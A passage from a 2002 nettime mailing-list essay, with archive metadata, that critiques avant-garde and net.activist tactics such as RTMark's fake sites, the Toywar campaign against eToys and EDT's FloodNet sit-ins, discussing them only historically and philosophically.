avant-garde,\nexcommunication as the form the internal relations\namong the group eventually took, and terrorism against\nbourgeois institutions as their tactic of external\nrelation to their social context. The prudence of\nhistory would criticize the reprehensible\nexcommunications but celebrate the hijacks and pranks\nagainst the establishment as strokes of brilliance.\nBravo, epater le bourgeoisie, slap in the face of\npublic taste. But both are driven by the same impulse,\nby a dogmatism convinced of the truth of its own\ntheory and vision, and an intolerant dismissal of\neveryone else. The Surrealists hijacked a bourgeois\ndinner party with the same sleigh of hand as Breton\nlater expelled Artaud, Bataille, Vitrac, Souppault and\nmany others from the group \u0091by reason of their\noccupation and character.\u0092 The Lettrists hijacked a\npress conference given by Charlie Chaplin  <\u0091you've\nidentified yourself with the weak and the oppressed .\n. .  but in the shadow of your rattan cane some could\nalready see the nightstick of a cop . . . Go to sleep,\nyou fascist insect . . . We pray that your latest film\nwill truly be your last\u0092> with the same ardor as the\nSituationists later expelled whole nations from their\nInternational.  NN is the anti-climax of the\navant-garde\u0092s hysterical nightmare of persecution:\neveryone is guilty save herself, all the names of\nnet.history who pretend to be revolutionaries are in\nfact reactionary cops and corporate fascists, all\nabuse her, steal from her, terrorize her, ban her from\nlists, deny the expression of her freedom. She is the\nonly one in possession of truth and virtue in this war\nof words, which is above all a war of righteousness:\n\nDavid Zicarelli - cycling {AT} sirius.com  typed\n\n>>We have removed the user \u0091netochka nezvanova\u0092\n\n>Truth  -  The `estimable` + `fashionable` [permit\nsomeone to roll the eye \n>komponents + faint theatrically] David Zicarelli has\nremoved and blocked++\n>Netochka Nezvanova from the MAX forum because she has\nposted\n>a brief excerpt from an internal Cycling74\ncommunication which \n>David Zicarelli transmitted to all Cycling74\nemployees.\n\n>>\u0091she\u0092 intiated what could best be described as a\nterror campaign \n\n>Absolute nonsense. Tell the truth. \n\n>>that included spam to anyone who posted to the Max\nlist, denial of service attacks,\n\n>Absolute nonsense. Tell the truth. \n\n>>and threatening and slanderous e-mail sent to random\nindividuals at McGill. \n\n>Absolute nonsense. Tell the truth. \n\n>>I didn't see any point to subjecting myself and my\nco-workers to this type of harrassment. \n\n>Tell the truth liar. trrruth.\n\nThis first NN flame war on the list for MAX users <a\ngraphic programming environment for audio and video\nmanipulation from multiple sources; NN\u0092s own software\nNato 0+55 extended the capabilities of MAX> began\nafter NN initiated a lawsuit against the MAX\ndevelopers, Cycling \u009274. After being thrown off the\nMAX list, NN retaliated against the list admin by\ncreating a site in his tribute: \u0091There were Web pages\nall over the place with swastikas and my name on it.\u0092\nThis first list war revealed the personal motives\nbehind the attacks. Katharine Mieszkowski recently\nspeculated that power and money were behind the\nseemingly idle net.pranks; when criticized in the\npast, NN has revoked her clients\u0092 software licence\n(which was already paid for), a veritable monopoly,\nshe can afford to control the game and freedom of\nexpression does not cut both ways. \n\nNN\u0092s brand of \u0091terror\u0092 is just excommunication in\nreverse, and the people who rushed to her defense on\nthe Syndicate were defending what they accused the\nlist administrators of: a self-certain righteousness\nthat is capable only of crushing dissent. And vice\nversa, by kicking her off the list, the admins were\nstooping to the tactics they claimed she used and they\ndeplored, especially since the expulsion was decided\noff the list rather than publicly by consensus. The\nexcuses given later were desperate at best, shamefully\npaternalist at worst: \u0091nn promised to Syndicate admin\nto behave herself. it went fine in the first weeks /\nmonths. unfortunately, she lost control of herself\nagain.\u0092 It seems, on the contrary, that NN was very\nmuch in control of herself and the situation, and in\nthe panic that ensued on the list netizens and rulers\nalike played into her hands. For or against, the\nchoice itself was a choice in choicelessness, and\nthings could have played out differently. Many of NN\u0092s\nearlier posts, those that were not so abusive and\nself-serving, were provocative and amusing. It\u0092s a\npity that they were so overshadowed by the empty\naccusations and cheap insults which became so\nrepetitive, adolescent, and full of ressentiment \u0096 but\nthis was a decision to be made by individual members.\nThe flood of emails were not such a \u0091great terror\u0092;\nthe insults were extremely superficial and lacking in\nsubstantive analysis <fascist or nazi is the easiest\nform of character attack; saying nothing, it relies\npurely on hyper-emotional reaction> and it is an\nexaggeration to say they could have wounded anyone\u0092s\nreputation. From a certain perspective, NN was by far\nthe best performance on a list that had and become a\nstring of announcements with little discussion. August\n2001, when all the kitsch about democracy and\ntotalitarianism hit the fan, was the list\u0092s most\nlively and interesting month, as much for what was\nsaid as for what remained unspoken. \n\n>From a certain other perspective, this could be seen\nas just the business of art as usual. Older\navant-gardes and classical terrorist cells alike were\ndriven by a supreme cause, by the vision of an\nabsolute theory \u0096 which was the source of their\nheroism and of their tragedy. In the contemporary\ntheater, no cause is important enough to die or kill\nfor, nothing is \u0091transcendent,\u0092 and immanence has\nbecome the order of a night in which all cows appear\nblack. The absence of a cause and the adoption of a\nnameless identity could be a promise of liberation or\nthe shadow of a catastrophe. Nameless Nobody,\nself-proclaimed body without border, wandering\npurposelessly from one mailing list to another, black\nlisting all the names of power in the not so general\neconomy of the net. Ultimately the cause behind all\nthe covert tactics and agitations is sui generis, NN\nis its own cause, terrorizing lists through seemingly\nrandom flames and character assassinations as a form\nof self-advertisement. The third time, history repeats\nitself as innocuous farce, without substance.\nTerrorism in abstract form, void of content,\naestheticized and mute. The image without image  <or\nthe nameless name> manufactures a myth that can be\nfilled by anything, as rumors escalate and speculation\nfeeds on itself. One person with multiple identities?\nA female New Zealander artist? A male Icelander\nmusician? An Eastern European collective conspiracy?\nFor some, the advertisement is seductive, promising\nsomething-I-know-not-what, the secret of the commodity\nthat can be apprehended only as a fetish. Darling of\nthe net who everyone loves, or loves to hate. Either\nway, all propaganda is propaganda. \u0091Mysterious.\nInapprehensible. Elusive.\u0092 \u0091Brilliant deconstruction,\nA1 quality. Intelligent, cool\u0092 \u0091Geographical\ndeconstruction. Gender deconstruction. Identity\ncorruption.\u0092\n\n\u0091NN's reputation is based on mouth 2 mouth\nadverti.cement. When something is very well\nkonstruckted and designed with a degree of integrity\nit stands on its own ... All the cool girls wear NN.\u0092\nEverything is made and unmade in the mirror image of\nconsumption. You are either with us or you are uncool.\nThe ultimate terror is that of being out of fashion\nwith the times + + symbolically dead. \n\n< detournement? >\n\nDetourne: a verb used, among other things, to describe\nthe hijacking of a plane. The SI may have come up with\nthe name detournement, but the practice was first\nstumbled upon by the previous era of the avant-gardes.\nIn 1919 Johannes Baader, Berlin Oberdada, interrupted\na meeting of the Weimar National Assembly and threw\nfliers from the balcony onto the heads of the\nstatesmen below announcing his candidacy for the\npresidency of the world.  The press reported that the\ncountry\u0092s leading politicians had been publicly\ninsulted.  Probably they had been insulted before on\nmany occasions, but this one was not in the form of\nideological discourse they were familiar with. No\nassertions or rebuttals. Was it political speech? Was\nit theater? It was an answer to politics but not from\nthe \u0091inside\u0092 by using the same language or adopting\nthe same presuppositions. It was not dialectical \u0096\ndialectics negates only what is irrational,\ninconsistent, or dogmatic in the system, ultimately to\nperfect and strengthen it. <Marx may have criticized\nthe irrationality of capitalism - the theft of\nsurplus, the spawning of alienation, the degradation\nand misery of those who were deprived of the fruits of\ntheir labor \u0096 but preserved the values and\npresuppositions of its \u0091rational\u0092 kernel \u0096 the\nvalorization of production, the goal of continuously\nexpanding productive forces, the instrumental use of\ntechnology. By preserving the forms but altering the\ncontent (putting it in the hands of the proletariat)\nthe whole system can be transformed from the inside,\nmade more rational, more democratic, more productive;\neventually the form itself would change and repressive\ninstitutions would wither away.  By the 1960s and\n1970s it first dawned on the ex-Marxist left\n<Castoriadis, later Baudrillard and Deleuze> that\ndialectics never gets \u0091outside\u0092 what it criticizes \u0096\nits negation is already prefigured by the logic of the\nsystem itself. Actually Bakunin had made this same\ncriticism a century before, after being thrown out of\nthe First International by Marx and Engels.> Baader\u0092s\ndetourned negation made no overt criticism, and put\nforward no demand for the transformation of the\ncontent of the Assembly\u0092s program \u0096 his demand for\nworld presidency was a prank, making a joke out of\npolitics rather than engaging in it on its own terms. \nHe did not seek to take over the National Assembly in\nthe name of a new movement. The politicians and press\nwho answered the gesture did not know what to make of\nit. It was not the kind of kind of thing they were\nused to, its power to disrupt was precisely that it\nwas unexpected. Detournement, in updated jargon, has\nbecome communication guerilla, cultural jamming,\naesthetic sabotage, infowar - but are the gestures so\nunexpected almost a century later?\n\nThe most interesting thing about RTMark is the\nillusion of the real \u0096 for a moment some unsuspecting\nvisitors who entered their fake WTO or Bush or other\nsites and read the inverted messages of their pages\ndid not know what to make of it since they believed\nthem to be genuine sites. For these sites RTMark\nsimply copied the layout, graphics and images from the\noriginals, and altered the content. The fake WTO site\n<www.gatt.org, named after the General Agreement on\nTariffs and Trade> doesn\u0092t celebrate global free trade\nbut criticizes the WTO\u0092s lack of socio-environmental\nresponsibility, replacing WTO documents with\ncounter-documents of groups protesting globalization.\nAnd maybe it should be stressed that it is an\n*unsuspecting few* visitors who are fooled. The sites\ngot millions of hits after the story broke in the\nmainstream press, and those rushing to check them out\nalready knew they were \u0091fake\u0092 sites. Surprisingly,\nsome bewildered few still stumble upon them and\ncontinue to be fooled. The fact that RTMark has gotten\ninvited to speak as real representatives of the WTO\n\u0091by mistake\u0092 and that their hilarious performances as\nimpostors of the real went unquestioned by the\naudience members is perhaps only a testimony to the\nincredible stupidity of the liquiescence of power. \n\nThe then presidential-hopeful GWBush protested against\nthe fake RTMark site <which accused him of hypocrisy\nand drug use> by denouncing it as a form of routine\nnegative campaigning. In a sense, it could be said\nthat the politicians and the press did not know what\nto make of it because it was an unexpected thing and\nthey didn\u0092t recognize its language or its aims. But to\ngive some credit to Bush\u0092s gullibility, RTMark\u0092s form\nof tactical media uses the same language and the same\nstrategy as political ads. The gullible are confused\nbecause the similarity is too close.  And maybe it is\nthe similar *form* of this strategy and the desire to\nbe mistaken for the real thing which should be\nquestioned. RTMark videos and websites, which dwell by\nchoice in the language of corporate advertising,\nattempting to use the height of banality against\nitself, seem stuck by necessity in the mire of this\nsame banality. RTMark productions are an occupation of\nthe form <of media and capitalism in simultaneity, as\ncorporate advertising> with an inversion of its\ncontent. When Daniel Cohn-Bendit once proposed making\na leftist western by just changing the soundtrack,\nDebord answered that the homogenous, unbroken form of\nthe western would preserve the ideology behind it,\noffering a complacent, facile consumption.  Preserving\nthe form and just changing the content was\ninsufficient, especially a change of content in the\nform of a reversal.  \u0091Detournement by simple reversal\nis always the most direct and the least effective. The\nBlack Mass . . . merely reverses \u0096 and thus\nsimultaneously conserves \u0096 the value of that\nmetaphysics.\u0092 Satanism may be heretical, but it\u0092s\nstill a religion, the whole field of ritual and\nsubordination before a superior power is preserved in\nit. \n\nBaader may not have aspired to become a real\npolitician, but Breton did when founded a \u0091Bureau\u0092 of\nsurrealist research and modeled the organization of\nthe group on the French Communist Party.  The\nSituationists held real congresses and aspired to\nbecome an International <modeled after the first one>\nwith altered demands. As a practice detournement\nreflected a contradiction at the level of theory\nbetween the recognition that fighting on the same\nterrain and wanting to be taken for the real thing is\na seductive but inevitable trap, and the desire\n<expressed in the hijacking metaphor> to occupy the\nold buildings of power under a new name, with new\ndemands. Detournement was a momentary line of flight\nout of dialectics, and also a reterritorialization on\nfamiliar ground.\n\nAlex Burns from Disinformation remarked that RTMark\nuses \u0091dialectical reasoning\u0092 \u0096 they prefer \u0091to subvert\nthe system from within\u0092 in contrast to other acts of\nresistance which want to \u0091dismantle the corporate\nsystem altogether.\u0092  This is not a criticism by Burns,\nwho celebrates RTMark\u0092s dialectical ingenuity; the\nonly danger he foresees is the external one of being\nrecuperated by corporations <who can \u0091steal\u0092 their\ntactics>, rather than a problem with the choice of\ndialectical method itself. As a dialectical gesture,\nRTMark is an inversion of corporatism from within, an\nidentification with the corporate image in order to\nreveal and oppose its abuses. In legal terms, RTMark\nis a real corporation, selling mutual funds, even if\nthey are mutual funds for corporate sabotage. The\ndetourned content is amusing, and the issue they raise\nis significant: corporations have aggregated powers\nunder the law of limited liability that are\ntechnically illegal for persons: corporations have\nonly rights, but no responsibility.  But RTMark\nproudly admit to using the same legal form of limited\nliability as a protection against the potential risk\nof prosecution for their sabotage activities \u0096 they\ndepend on what they denounce as an abuse when used by\n\u0091real\u0092 corporations. Using the same graphics and\nlanguage of the Internet brokerage sites of the late\n1990s, RTMark mirrors the Internet stock corporation.\nUsing the same tactics of exaggeration and spin as\nmass media, RTMark mirrors the banality of media\nscandals.  Mark Amerika has noted that especially in\nthe Toywar campaign RTMark\u0092s press releases were\n\u0091skewed in a way that essentially mimics the way\ncorporate press releases are skewed, complete with\nsound-bite blurbs, website addresses for further\ninformation, and self-reflexive advertisements for\nRTMARK art products (projects).\u0092 Taking the logic of\ncorporate advertising to its limit, RTMark is not\nabove skewing information to enhance its own image.\nSome of the projects which they claim under their own\nsponsorship and direction are Toywar <which was a very\nlarge collective effort>, FloodNet <which was\ndeveloped by EDT, who never got any money for project\ndevelopment from RTMark> and the idea of pr\u0119t a\nrevolter <colorful clothing that is ready to revolt,\nmade of resistant parts of water bottles, complete\nwith micro-cameras hidden in fake breasts \u0096 created\nfor anti-globalization protests in Barcelona last\nsummer by several different designers, though the\nproject itself was initiated by the Spanish group Las\nAgencias>. RTMark may include real individuals, but is\njust an abstraction, a shell, the mirror image of a\nboss appropriating the work done by many workers in\nthe struggles against corporatism. \n\nRTMark is a corporation in reverse, a corporation with\nan alternative message that mimics the same mode of\noperation as their opposition. As with any\ncorporation, the aim is the maximization of profit,\nand profit is always counted in numbers.  RTMark\ndefine their most successful projects as those that\n\u0091got the most press\u0092 and in the battle for press\ncoverage \u0091Quality is less important than quantity, I\nguess you could say, we spend a lot less time fretting\nabout the gemlike qualities of projects than about\ntheir effectiveness. Just let them keep coming, and\nfaster and faster!\u0092 The quantity of articles and\nmentions in the press housed in the archive of\nsymbolic capital on RTMark website is indeed\nimpressive.  Over 650 press items, including NY Times,\nTime Magazine, Wall Street Journal, CNN, Village\nVoice, Wired, Playboy, Fringeware, Suck, Slashdot,\nTelepolis, ArtNetWeb, ArtByte; hundreds of mentions in\nforeign press: Spain, France, Britain, Germany, Italy,\nSlovenia, Croatia, Hungary, Czech Republic, Poland,\nNetherlands, Finland, Norway, Sweden, China, Japan,\nSouth Africa. In this battle over the control of the\nmedia by its own means of manipulation to promote the\nRTMark corporate image as a veritable monopoly of\nsubversion, the most important victory is the\naccumulation of images.\n\n< infowar >\n\nThe legal battle at the end of 1999 between the\nbillion dollar toy dot.com eToys and the European art\ngroup etoy was one of the important events in the\nhistory of the Internet, since it was precisely the\npossible use, legality, and future direction of the\nnet that were at stake. The facts of the case were\nthat etoy had existed and had its domain name first;\nthe demand by eToys that etoy change its domain on the\ngrounds that the similarity of the names was confusing\neToys\u0092 customers and hurting its business was spurious\nand the legal injunction it obtained against etoy was\nbordering on illegality \u0096 this all served as a\nrealtime demonstration that money determines the\nrights to operate in cyberspace and is behind the\nso-called impartiality of the justice system.  But the\nmyth of this epic battle suffered from its own\nexaggerations. RTMark credited the campaign which they\ndirected with crippling the eToy servers and with the\neventual \u009170% decline in the value of eToys stock.\u0092\nThe numbers on the Toywar site are even more\nimpressive as are attributions of the causes and\neffects: \u0091result: within 2 months the eToys Inc. stock\n(NASDAQ: ETYS) dropped from $67 (the day the battle\nstarted) to $15 (the day eToys Inc. finally dropped\nthe case). TOYWAR was the most expensive performance\nin art history: $4.5 billion dollars.\u0092 Reinhold\nGrether, one of the key players in the campaign,\nportrayed the war as \u0091a conflict between two\nlifestyles, one consumerist, giving absolute priority\nto acquisition, in this case, a domain, and the other\nartistic, declaring the exhibition of complex social\npractices, rather than art objects, as the object of\nart.\u0092 But was the war between eToys and etoy a\nconflict between consumerism and the purity of\nanti-corporate art as the social construction of an\nalternative style of life, or was it a conflict\nbetween different market segments of  consumerism?\nAfter all, as etoy has insisted over and again \u0091We are\nnot anti-corporate. That's something people don't\nunderstand. We are an overdrive corporation with\nsurreal goals. We sell nothing except ourselves. We\ndon't promise any revenue, except excitement and maybe\na little bit of confusion.\u0092\n\nEtoy sells itself, it barters its image. As Geri\nWittig remarked to etoy in an interview, \u0091Your look\nand your stance exudes a very stylish, militaristic\nquick response tactic.\u0092 This stylish militarism also\ndepends on wearing the same uniform, looking alike,\nand giving the impression of the interchangeability of\ntoy soldiers (or members of a gang).  As Etoy\nconfessed, \u0091it makes it impossible for women to enter\nthe group, or for black people to enter the group,\nbecause it would destroy the concept\u0092 of its\nuniformity. The Toywar campaign helped to boost sales\nnot only of etoy.shares, but of the image of\nsubversion which was on demand by an increasingly\nlarge consumer public: \u0091we give about five interviews\na day in America at the moment.\u0092 After the victory,\nthe toywar.shop became more specialized, selling not\nonly standard etoy.shares, but offering the consumer\nthe option to \u0091customize your purchase\u0092 by adding\n\u0091T-SHIRTS and CD'S to your basket.\u0092 CDs were a bargain\nat $20.  \u0091please check the amount of articles as well\nas the total amount in USD before the final\nsubmission.\u0092\n \nThe many support sites that sprang up during Toywar\ncapitalized on an incredibly puerile image of warfare,\nan image capable of seducing only adolescent boys,\neven if its target audience proved to be older. The\nToywar UK site under the direction of \u0091Captain\nSmithers\u0092 launched its own internet offensive against\neToys as a sign of support. The site featured e*bombs\nin the forms of alternative news service and mailing\nlists. \u0091The e*bomb blast radius was global and it\nrendered eToys.com powerless. VIVA la e*bomb!\nThousands of friendly fire e*bombs detonated, and no\none hurt! Pure 21st century FIRE POWER!\u0092 In this\npostmodern fantasy of revolution the jargon of\nrighteous war has become more timid and cautious,\neliminating the risk of action through a detour of\nrhetoric, bowing, in the end, to political\ncorrectness. \n\nThe image of war is sexy not just in the popular\nimaginary of television, but among the more refined\ntastes of the militant left and the radical art crowd.\nThe indiscriminate forms of its rhetoric and gestures\nare legion, though the mask as a symbol of the\nterrorist or the guerilla stands out as one of the new\ntrends of identification, from the multitude who\ngather in the street borrowing the checkered mask of a\nPalestinian holy war, to RTMark, who don the pantyhose\nof the bank robber in their videos, and Ricardo\nDominguez who performs the story of electronic civil\ndisobedience in an EZLN mask, as a gesture of\nidentification with the cause of the Zapatistas. The\ncontext of the performances are to evoke the\nZapatistas\u0092 Mayan technology which differentiates\ntheir tactics (offering a rose or a poem or an\nunanswerable gesture as an answer to military power)\nfrom those of guerilla struggle of the twentieth\ncentury. The Zapatistas say they use masks so that\npeople won\u0092t be beguiled by their beauty but pay\nattention to the power of their words.  But in this\nEDT performance, it is the power of the words that\nspeak of the different form of struggle of the\nZapatistas that is obscured as the audience identifies\nwith the image of the mask. The mask is the identity,\nthe words are secondary, and the identity of the mask\nis prefigured in advance by the associations it has in\nthe contemporary stage of the media. \n\nThe media spectacle needs a boogey of opposition to\nthe righteous war of democracy and the right to\nconsume, and after the collapse of the big other of\n\u0091Eastern Europe,\u0092 the image of a man dressed in black\nwearing a mask has now become the mass medias perfect\nfantasy, the face against which it can define its own\nvalues. Whatever may be behind the mask of the\nmilitant, the media will capitalize upon it in reverse\nfor the sake of the ideology it serves. Making a\nfetish of the image of the terrorist or guerilla has\nbecome both pious and stupid, even in the\naestheticized form of the avant-gardes, as the\ntheatricalization of some nameless revolution. The\nidentification with the logic of warfare was always\nthe worst militant aspect of the avant-gardes.  If,\nthe avant-gardes were a momentary instantiation of a\ngreat promise, speaking in a different language\noutside the banality of organized politics, they were\nsimultaneously the ridiculous quarrels over names and\nconcepts, vicious arguments about ideological\ncorrectness, exclusions of deviations, puerile antics,\nand the inflated machismo of warfare. The desire to\nproclaim the avant-garde an unfinished project \u0096\nsomething triumphant that still lives and inevitably\nreturns to fulfill a secret history \u0096 preserves all\nthese characteristics. Above all, it preserves the\nmilitarism inherent in the metaphor of the\n\u0091avant-garde\u0092 \u0096 the avant-garde as an elite group,\norganized by strict military discipline, going out\nfirst and paving the way for the attack, perhaps\nsacrificing itself in the end so the army can finally\nadvance the cause of its righteous war.  If this\nmetaphor started out as a blank parody, it became real\nwith the march of history. The avant-gardes, for all\ntheir dress rehearsals and posturings became, in their\nrelations to each other and to the opponent they\nclaimed to despise, nothing more than the magical face\nof the double, its inverted mirror. Drawing upon their\nstrategies, conceptual tools, and tactics of\nintervention summons not the specter haunting a new\nepoch, but a corpse in absolute decomposition.  \n\nSomeone once said a long time ago \u0091The most urgent\nexpression of freedom is the destruction of idols,\nespecially when they claim to speak in the name of\nfreedom.\u0092 It is true that the destruction of idols\nitself can speak in the name of a freedom that is just\nas illusory, including the destructions of the\npresent. But the wisdom of silence is the most\ndifficult thing to attain, since it does not reveal\nitself in the image of consumption.\n\n < opposition >\n\nElectronic civil disobedience is neither terrorism nor\nacts of cultural jamming, detournement, or media\npranks. CAE define the manipulation of the media in\nthe service of an alternative message as a losing\nbattle; any subversive message is lost in the flood of\ninformation or is itself detourned through spin. If\nthere is such a thing as infowar, maybe it should be\nunderstood as the war against information rather than\na war of counter-information. Denying the power of\npropaganda, CAE praise the effectiveness of a direct\nbattle with power.  Simple trespass and blockage of\ndata and their conduits can force the state or the\nmilitary or corporations to make policy changes\nbecause it may prove cheaper for them than the threat\nof the loss of profits from information. As people\njoined together to physically blockade the entrances\nto the opponent\u0092s house of power in earlier forms of\ncivil disobedience, participants in electronic civil\ndisobedience can join a virtual sit-in from anywhere\nthere is access to the internet in order to block\naccess to the opponent\u0092s website. If the promise of\nECD remained a theory until 1998 for CAE, the faction\nof the group which took the name Electronic\nDisturbance Theater actualized it in the form of\nFloodNet, a software which sends reload commands to\nthe targeted site\u0092s server every few seconds. When\nenough participants are simultaneously pointing the\nFloodNet URL toward an opponent\u0092s site <Mexican\ngovernment, Pentagon, Frankfurt Stock Exchange, eToys,\nEMF> a critical mass of users can prevent access to\nthe site because there are too many requests to be\naccommodated \u0096 in theory, at least, since these kinds\nof sites can sustain millions of hits without a\nproblem. \n\nBut is the direct intervention of ECD about bringing\npower to the bargaining table and getting concessions\nin the form of policy change? If the aim were simple\ntrespass and blockage, a single hack would be more\nefficient in bringing down a server and blocking\ninformation. The point of the virtual sit-ins is to\nget across how widespread the protest is rather than\nthe denial of access to data or their conduits. The\naim seems to be not trespass and blockage but gaining\na critical mass. A policy negotiation is a closed\nform, an exchange of threats between a vanguard of\nactivists and the functionaries of power; the form and\neffect of a virtual sit-in is something very different\n\u0096 a kind of contagion, a movement of outward\nexpansion, the feeling of participating in something,\neven though its contours may be vague. And this vague\nfeeling of participating in something that escapes the\ndialectic of global capital is often hijacked by being\nturned into the declaration of a war of opposition.\n\nWhen the \u0091multitude\u0092 come together in a virtual-sit-in\n<in opposition to one or another particular website>\nor on the street in a show of power against the forces\nof capitalism, they don\u0092t escape its dialectic. The\nform assumed by the association and linkage of\nindividuals is based and mediated by the cause it is\nopposing, rather than on the desires and aspirations\nof the participants, and on their interests in each\nother. To subordinate the process of fusion to the\ngoal of a coalition \u0096 driven by a single cause, one\nthat is negative, directed against conquering some\nsmall concessions from power \u0096 is not a collaborative\nconstruction of a new form of being, as much as it is\na formal repetition of a cycle of enslavement and\nretribution. Opposition misses the mark, though it is\nvery successful in the media. When tactical media seek\nto smash the code, to disrupt the seamless surface of\ndigital mediation, of corporate power, of whatever\nabstract form the boogey of opposition takes, they are\ndetermined by their enemy. They oppose the false,\nideological shell of their enemy with\ncounter-statements made from a counter-perspective - a\nperspective they never question, because it is\nself-evident.  The energy and source of their\nself-valuation derives from their act of negation. \nNegation can be a splendid thing, a source of\nexhilaration and an experience of increased power, as\nthe limits imposed artificially on the self by the\nmyriad forms of micro-oppressions are temporarily\ntranscended, transgressed. But this is a potentially\nendless cycle of negation ad infinitum, unto death;\nthe satisfaction of negation is only temporary, its\nhunger renewed again. \n\nThe coalition of activists who swarm through the\nnetwork may not be the best form for constructing a\nnew entity in fusion; support for a cause, especially\nin the form of opposition to an abstract enemy, is\neasy to get for a few hours online and requires little\ncommitment, but a collaboration based on trust and\nreciprocal interest in other people is more difficult.\nThis kind of collaboration works best in an encounter\nthat doesn\u0092t measure success in terms of numbers,\nspeed, or the corporate logic of the network society,\nwhich always subordinates the present to the demand\nfor a future goal and profit. Last year a number of\nindividuals and small groups came together <including\nRicardo Dominguez, who did not come as a\nrepresentative of EDT> to try to establish a loose\nform of association between different net.culture\nclubs and media centers. This association was not a\ncoalition, because there was no common goal or\ninterest or ideological uniformity among participants\nfrom the different regions - Europe, east and west,\nAmerica, north and south - and because there was no\noverall plan which could be imparted to different\n\u0091sections\u0092 of some would-be international.  One of the\ncriticisms this meeting received was that the thing in\nfusion it invoked had no real cause for being, that it\nlacked a definitive reason for making the association\nin the first place, other than some vague aspiration\nto share what each group had in resources and\nexperience with each other or a seemingly banal desire\nto travel and meet with others to participate in and\nlearn about the process each had started in their own\nlocation. The absence of a cause can sometimes be the\nshadow of catastrophe or the promise of liberation.\n\n< 0 >\n\nIn a correspondence that was neither private nor\npublic, Sebastian Luetgert wrote \u0091it is the network -\nnot empire - that is materializing before our very own\neyes, and the multitudes are part of it. their only\nthreat to the regimes of control is that they will be\ntheir mirror . . . the enemy of the network is not the\nactivist, but the passivist. passivists don't surf:\nthey have learned to wait, and they know that when\ncrossing a desert there is no need for a powerbook, a\ngps phone or a press tent.\u0092 But maybe this is a false\ndilemma, the swing of a pendulum across the clockface\nof dead time. The activist in its familiar militant\npose is a creature that should be abandoned to a\nmuseum of relics \u0096 the activist determined by a war\nagainst an oppressive power, engaged in a fight which\nconsumes all his energy in reverse, convinced of the\nabsolute virtue of his cause and of the correctness of\nhis theory <a theory correct in inverse proportion to\nits practice> and, since possessing the correct ideas,\nendowed with the supreme calling of teaching them to\nothers, especially to those who have not had the\nprivilege of being schooled in the classroom of\nadvanced capitalism. But invoking the passivist risks\nbeing construed for a celebration of the silent\nmajority of consumers, secretly active in their\nabsolute stasis. There are forms of action that are\nneither activist nor passivist. Somewhere, where the\nlocation is unimportant, there\u0092s a group of people who\nstarted a club <social center is not the right word,\nbut sometimes the search for names is also\nunimportant> not out of a desire to be in opposition\nto any of the dominant art or cultural institutions,\nbut because they wanted to create a scene that did not\nyet exist. While inside, everyone uses a form invented\ncurrency. Some members of the group who are graphic\ndesigners make posters for restaurants and bars in\ntown in exchange for free vouchers so they have places\nto take their friends. They don\u0092t make any claims to\nthe space they have in their own name but invite\nothers to take temporary possession of it: artists,\nmusicians, some local people from a half-way house for\nthose considered mentally ill, even political\ntheorists and sociologists. They make a lot of\nactions, but when added together their sum is not\nactivism. No theory is constructed, no manifesto\nwritten that proclaims this form of life as the model\nof the coming revolution. There is no gospel and no\ndisciples. The critics of the institutionalized left\nmight perhaps snicker at this flimsy example,\nconcluding that it changes absolutely nothing, that it\nwill not \u0091overthrow\u0092 capitalism <overthrow = desire to\nrule, to become master>, that it doesn\u0092t conform to\ntheir vision of utopia <utopia = waiting until the\nconditions are ripe, negating the present in\nanticipation of a future whose past has already been\nglimpsed>. \n\nZhivago once fled with his lover to the interminable\nsnow plains across the barren landscape of\nrevolutionary Russia. Reaching a place that most\nresembled the center of nowhere, they stopped. The\nBolshevik police followed on their heels, moving at a\ndifferent speed, chasing a desire that escaped their\ncomprehension. They knocked at the door, asking, what\nis your agenda, what are you plotting against us, what\ndo you plan to do here? Live, he answered, just live.\nIf understood slowly, this is not the fatality of\nhopelessness or a sign of passive acquiescence in the\nface of an obscene demand. And if it is an\ninsurrection, it is not the insurrection proclaimed\nloudly on the center stage of capital cities whose\nsuccess is measured by how many times the police beats\nit to the ground. Knowing when to disappear, it does\nnot ask to be represented. Although there are many who\nlive it today, outside the speed of the media\nspectacle, their names would only be invoked in vain,\nas the idols of yet another manifesto thrown on the\nrubble-heap of history.\n\nDialectics never died. It lives every time another\ntired exhibit of the relics of dada or situationism\nopens at the houses of culture across the world. It\nlives when the hackers who haunt the net repeat the\nslogans and gestures of the dead and then congratulate\nthemselves when they are finally inducted into the\nhalls of power of the Venice Biennale or Ars\nElectronica. It lives when the theorists and\ncartographers of new deterritorialized flows of desire\nsell their interests by entering a classroom to become\nfunctionaries of the empire of production, offering\npackaged knowledge to students who eagerly produce\nwhatever stupidity is asked of them in exchange for\nthe general equivalent of a grade. It lives when the\nanti-globalization \u0091multitude\u0092 faithfully ascend to\nthe stage of negation to recite their memorized roles,\nproudly displaying the garments of an ideology that\nlong ago betrayed its exhaustion.  Dialectics consumes\nthe desire of life as it beats its wings against the\nlimits of the impossible. As Tzara once said,\ndialectics kills \u0096 it lives by producing corpses,\nwhich lie strewn across an empty field where the wind\nhas ceased to blow.  The field only reveals its own\nfolly and despair; and victory is the illusion of\nphilosophers and fools. \n\n\n\n__________________________________________________\nDo You Yahoo!?\nYahoo! Sports - live college hoops coverage\nhttp://sports.yahoo.com/\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Tue, 19 Mar 2002 13:06:39 -0800 (PST)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200203200805.DAA20882 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0203/msg00101.html",
                "list": "nettime_l",
                "author_name": "duna maver",
                "subject": "<nettime> avant.garde - transfigured or dead?"
            },
            {
                "content-type": "text/plai",
                "from": "duna maver <dunamaver@yahoo.com>",
                "id": "00472",
